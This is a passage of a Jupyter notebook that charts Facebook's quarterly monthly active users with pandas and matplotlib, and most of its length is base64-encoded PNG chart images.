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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB2.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats)\n", + "\n", + "#get x list\n", + "x = list(df.iloc[:, 0])\n", + "#get y list\n", + "y = list(df.iloc[:, 1])\n", + "#colors of bars\n", + "c = ['r','r','r','r','b','b','b','b','g','g','g','g', 'y','y','y','y','k','k','k','k']\n", + "\n", + "#plotting the bars\n", + "plt.figure(figsize=(30,20))\n", + "plt.title(\"Total Facebook users 2021*\") #select a title for bar\n", + "plt.xlabel(\"Monthly_active_users(millions)\") #select a x label\n", + "plt.ylabel(\"Quarter\") #select a y label\n", + "\n", + "plt.grid(axis='x', color='blue')\n", + "plt.barh(x, y, color=c) #plotting a horizantal graph\n", + "plt.show() # show the bar" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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